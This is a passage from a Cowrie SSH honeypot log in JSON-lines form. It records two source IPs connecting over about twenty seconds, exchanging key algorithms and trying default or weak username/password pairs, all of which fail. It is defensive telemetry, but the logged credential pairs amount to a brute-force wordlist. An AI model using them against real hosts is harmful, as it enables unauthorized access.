-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:05.843627Z","src_ip":"176.65.139.95","session":"d9591cade21d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234567890","message":"login attempt [root/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:06.478452Z","src_ip":"176.65.139.95","session":"d9591cade21d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:07.567518Z","src_ip":"176.65.139.95","session":"d9591cade21d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33790,"dst_ip":"159.203.135.109","dst_port":22,"session":"252fcfad73b3","protocol":"ssh","message":"New connection: 192.109.200.78:33790 (159.203.135.109:22) [session: 252fcfad73b3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:08.238308Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:08.244917Z","src_ip":"192.109.200.78","session":"252fcfad73b3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:08.328541Z","src_ip":"192.109.200.78","session":"252fcfad73b3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dmdba","password":"dmdba123456","message":"login attempt [dmdba/dmdba123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:08.592445Z","src_ip":"192.109.200.78","session":"252fcfad73b3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:09.738644Z","src_ip":"192.109.200.78","session":"252fcfad73b3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33810,"dst_ip":"159.203.135.109","dst_port":22,"session":"7a61a849fde6","protocol":"ssh","message":"New connection: 192.109.200.78:33810 (159.203.135.109:22) [session: 7a61a849fde6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.330348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.338879Z","src_ip":"192.109.200.78","session":"7a61a849fde6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58938,"dst_ip":"159.203.135.109","dst_port":22,"session":"054affd4ad10","protocol":"ssh","message":"New connection: 176.65.139.95:58938 (159.203.135.109:22) [session: 054affd4ad10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.387906Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.421297Z","src_ip":"192.109.200.78","session":"7a61a849fde6","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.539649Z","src_ip":"176.65.139.95","session":"054affd4ad10","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:12.543603Z","src_ip":"176.65.139.95","session":"054affd4ad10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:13.032736Z","src_ip":"176.65.139.95","session":"054affd4ad10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:13.158843Z","src_ip":"192.109.200.78","session":"7a61a849fde6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:14.139414Z","src_ip":"176.65.139.95","session":"054affd4ad10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:14.244924Z","src_ip":"192.109.200.78","session":"7a61a849fde6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":33832,"dst_ip":"159.203.135.109","dst_port":22,"session":"d238a1e6d9c5","protocol":"ssh","message":"New connection: 192.109.200.78:33832 (159.203.135.109:22) [session: d238a1e6d9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:16.637136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:16.642428Z","src_ip":"192.109.200.78","session":"d238a1e6d9c5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:16.736100Z","src_ip":"192.109.200.78","session":"d238a1e6d9c5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"changemeNOW","message":"login attempt [root/changemeNOW] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:16.996240Z","src_ip":"192.109.200.78","session":"d238a1e6d9c5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:18.083645Z","src_ip":"192.109.200.78","session":"d238a1e6d9c5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42944,"dst_ip":"159.203.135.109","dst_port":22,"session":"8af1d6bdf5cb","protocol":"ssh","message":"New connection: 176.65.139.95:42944 (159.203.135.109:22) [session: 8af1d6bdf5cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:19.141741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:19.149470Z","src_ip":"176.65.139.95","session":"8af1d6bdf5cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:19.231963Z","src_ip":"176.65.139.95","session":"8af1d6bdf5cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"student","password":"student123","message":"login attempt [student/student123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:19.655648Z","src_ip":"176.65.139.95","session":"8af1d6bdf5cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:20.761719Z","src_ip":"176.65.139.95","session":"8af1d6bdf5cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44596,"dst_ip":"159.203.135.109","dst_port":22,"session":"b9970094b0fa","protocol":"ssh","message":"New connection: 192.109.200.78:44596 (159.203.135.109:22) [session: b9970094b0fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:20.822123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:20.827293Z","src_ip":"192.109.200.78","session":"b9970094b0fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:20.919892Z","src_ip":"192.109.200.78","session":"b9970094b0fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"123456","message":"login attempt [chris/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:21.234811Z","src_ip":"192.109.200.78","session":"b9970094b0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:22.320540Z","src_ip":"192.109.200.78","session":"b9970094b0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":44620,"dst_ip":"159.203.135.109","dst_port":22,"session":"b6a73a4f034b","protocol":"ssh","message":"New connection: 192.109.200.78:44620 (159.203.135.109:22) [session: b6a73a4f034b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:24.935804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:24.941652Z","src_ip":"192.109.200.78","session":"b6a73a4f034b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.025315Z","src_ip":"192.109.200.78","session":"b6a73a4f034b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sftpuser","password":"sftpuser","message":"login attempt [sftpuser/sftpuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.283853Z","src_ip":"192.109.200.78","session":"b6a73a4f034b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":42954,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ff0cf00a926","protocol":"ssh","message":"New connection: 176.65.139.95:42954 (159.203.135.109:22) [session: 5ff0cf00a926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.514286Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.519500Z","src_ip":"176.65.139.95","session":"5ff0cf00a926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.602130Z","src_ip":"176.65.139.95","session":"5ff0cf00a926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tools","password":"tools","message":"login attempt [tools/tools] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:25.940917Z","src_ip":"176.65.139.95","session":"5ff0cf00a926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:26.371768Z","src_ip":"192.109.200.78","session":"b6a73a4f034b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:32:27.287946Z","src_ip":"176.65.139.95","session":"5ff0cf00a926","protocol":"ssh"}
